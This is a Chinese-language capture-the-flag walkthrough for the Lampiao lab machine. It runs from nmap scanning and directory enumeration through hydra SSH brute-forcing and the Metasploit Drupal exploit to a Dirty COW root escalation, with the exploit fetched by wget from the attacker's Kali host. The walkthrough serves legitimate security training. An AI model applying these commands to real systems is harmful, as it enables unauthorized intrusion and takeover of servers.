Lampiao靶机:链接:https://pan.baidu.com/s/1F2Yf7SsryDGdDgxSEVC6EQ?pwd=uwuk
提取码:uwuk
kali:ip地址192.168.182.130
靶机:ip地址192.168.182.131
靶机与kali都为NAT模式
1.确定目标
nmap -sP ip/24 :扫描这个网段存活的主机IP
分析:扫出了5个IP,但是1,2,254三个地址是自带的,130地址为kali地址,那么131地址就是靶机地址
2.信息收集
nmap -p- ip :扫描这个IP开放的的端口
可以看到,靶机开放了22,80,1898端口,百度查询各个端口作用:
22:默认是用于LInux主机的SSH远程服务应用的端口号,用于通过命令行模式远程连接系统服务器
80:80是http协议的默认端口
首先试着访问80端口,发现什么都没有
接下来访问1898端口
出现了一个页面,猜测其中有需要的信息,想到以下方法:
发现有输入输出框:sql注入,爆破,XSS
目录遍历:寻找敏感文件
查看源代码,发现找不到线索
点击图片
看到这个地址:http://192.168.182.131:1898/?q=node/1
试着把1改成2
发现两个目录,试着访问一下
录音是:user tiago ,看来找到用户名了
另一个文件是一个二维码,扫一下是 try harder,mahahaha,估计是要暴力破解
dirb http://192.168.182.131:1898/
使用kali自带的dirb工具进行扫描开始扫描
可以看到robots.txt文件,robots.txt是一个协议,而不是一个命令。robots.txt是搜索引擎中访问网站的时候要查看的第一个文件。robots.txt文件告诉蜘蛛程序在服务器上什么文件是可以被查看的。这个文件通常包括我们需要的信息
访问robots.txt,直接看到Disallow,不允许查看的文件
先查看第一个/CHANGELOG.txt,发现一个版本信息,这样,信息收集就算完成了
3.发现漏洞
(我的步骤都是在桌面打开终端)
既然已经获取了账号名,可以尝试暴力破解
cewl http://192.168.182.131:1898/ -w yc.txt
cewl是一个字典生成工具,使用cewl爬取网站信息生成字典,然后再把字典保存在yc.txt中
使用hydra进行爆破,命令为
hydra -l tiago -P yc.txt 192.168.182.131 ssh
ssh user@IP
上面的是第一种思路,通过已知账号名使用 cvwl,hydra等工具进行爆破,获得账号密码后使用ssh来登录
4.漏洞利用
第二种思路,前面信息收集获取了CMS版本号,可以通过查询这个版本的历史漏洞来尝试进行攻击
可见,靶机是有这个漏洞的
开始使用kali的一个非常强大的工具msfconsole
通过search Drupal来找到EXP(exploit),利用的意思
通过这个漏洞是2018年爆出的,所以选择use 1
show options命令查看需要输入的函数,required为yes的需要查看
rhost设置靶机的ip地址,rport端口改为1898,因为我们是通过这个端口进行攻击的
run命令开始运行
我们此时拿到的是一个伪终端,我们前面拿到的那种才是真终端,现在需要把伪终端变为真终端
输入shell
输入python -c 'import pty;pty.spawn("/bin/bash")'
5.权限提升
这个时候你发现你的用户名有一个$符,这个权限是最低的,当你输入id时显示id=1000,因此我们需要提权
uname -a查看版本信息,找到可以利用的提权方法
版本符合,可以使用
桌面新建一个终端
kali收录了这个提取方法的exp,我们把他下载下来存放在kali,再通过http服务,用已经拿到的靶机权限把exp下载到靶机运行
searchsploit dirty
searchsploit -p linux/local/0847.cpp查看这个exp的绝对路径,也可以
使用locate linux/local/0847.cpp
cp /usr/share/exploitdb/exploits/linux/local/40847.cpp /home/kali/Desktop/
把这个文件放到桌面
8083是可代理网页与下载文件端口,是一种逻辑端口
python3 -m http.server 8083
wget http://192.168.182.130:8083/40847.cpp
编译cpp文件
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o yc 40847.cpp -lutil
./yc 执行exp
拿到root账号密码,直接登录
su root
找到root路径,cat flag.txt拿到flag